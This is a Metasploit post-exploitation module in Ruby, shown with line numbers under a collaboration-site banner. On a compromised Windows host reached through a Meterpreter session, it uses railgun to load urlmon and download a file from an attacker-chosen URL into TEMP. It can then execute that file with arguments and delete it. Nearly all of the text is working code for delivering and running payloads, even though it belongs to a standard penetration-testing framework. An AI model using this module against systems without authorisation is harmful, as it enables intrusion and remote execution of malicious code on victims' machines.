Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Windows Manage Download and/or Execute',
14
        'Description' => %q{
15
          This module will download a file by importing urlmon via railgun.
16
          The user may also choose to execute the file with arguments via exec_string.
17
        },
18
        'License' => MSF_LICENSE,
19
        'Platform' => ['win'],
20
        'SessionTypes' => ['meterpreter'],
21
        'Author' => ['RageLtMan <rageltman[at]sempervictus>'],
22
        'Compat' => {
23
          'Meterpreter' => {
24
            'Commands' => %w[
25
              stdapi_fs_delete_file
26
              stdapi_fs_file_expand_path
27
              stdapi_fs_stat
28
              stdapi_railgun_api
29
              stdapi_sys_config_getenv
30
            ]
31
          }
32
        }
33
      )
34
    )
35

36
    register_options(
37
      [
38
        OptString.new('URL', [true, 'Full URL of file to download' ]),
39
        OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
40
        OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
41
        OptBool.new('OUTPUT', [true, 'Show execution output', true ]),
42
        OptBool.new('EXECUTE', [true, 'Execute file after completion', false ]),
43
      ]
44
    )
45

46
    register_advanced_options(
47
      [
48
        OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
49
        OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]),
50
        OptBool.new('DELETE', [true, 'Delete file after execution', false ]),
51
      ]
52
    )
53
  end
54

55
  # Check to see if our dll is loaded, load and configure if not
56

57
  def add_railgun_urlmon
58
    if client.railgun.libraries.find_all { |d| d.first == 'urlmon' }.empty?
59
      session.railgun.add_dll('urlmon', 'urlmon')
60
      session.railgun.add_function(
61
        'urlmon', 'URLDownloadToFileW', 'DWORD',
62
        [
63
          ['PBLOB', 'pCaller', 'in'],
64
          ['PWCHAR', 'szURL', 'in'],
65
          ['PWCHAR', 'szFileName', 'in'],
66
          ['DWORD', 'dwReserved', 'in'],
67
          ['PBLOB', 'lpfnCB', 'inout']
68
        ]
69
      )
70
      vprint_good('urlmon loaded and configured')
71
    else
72
      vprint_status('urlmon already loaded')
73
    end
74
  end
75

76
  def run
77
    # Make sure we meet the requirements before running the script, note no need to return
78
    # unless error
79
    return 0 if session.type != 'meterpreter'
80

81
    # get time
82
    strtime = Time.now
83

84
    # check/set vars
85
    url = datastore['URL']
86
    filename = datastore['FILENAME'] || url.split('/').last
87

88
    path = datastore['DOWNLOAD_PATH']
89
    if path.blank?
90
      path = session.sys.config.getenv('TEMP')
91
    else
92
      path = session.fs.file.expand_path(path)
93
    end
94

95
    outpath = path + '\\' + filename
96
    exec = datastore['EXECUTE']
97
    exec_string = datastore['EXEC_STRING']
98
    output = datastore['OUTPUT']
99
    remove = datastore['DELETE']
100

101
    # set up railgun
102
    add_railgun_urlmon
103

104
    # get our file
105
    vprint_status("Downloading #{url} to #{outpath}")
106
    client.railgun.urlmon.URLDownloadToFileW(nil, url, outpath, 0, nil)
107

108
    # check our results
109
    begin
110
      out = session.fs.file.stat(outpath)
111
      print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
112
    rescue StandardError
113
      print_error('File not found. The download probably failed')
114
      return
115
    end
116

117
    # Execute file upon request
118
    if exec
119
      begin
120
        cmd = "\"#{outpath}\" #{exec_string}"
121

122
        print_status("Executing file: #{cmd}")
123
        res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
124
        print_good(res) if output && !res.empty?
125
      rescue ::Exception => e
126
        print_error("Unable to execute: #{e.message}")
127
      end
128
    end
129

130
    # remove file if needed
131
    if remove
132
      begin
133
        print_status("Deleting #{outpath}")
134
        session.fs.file.rm(outpath)
135
      rescue ::Exception => e
136
        print_error("Unable to remove file: #{e.message}")
137
      end
138
    end
139
  end
140
end
141

142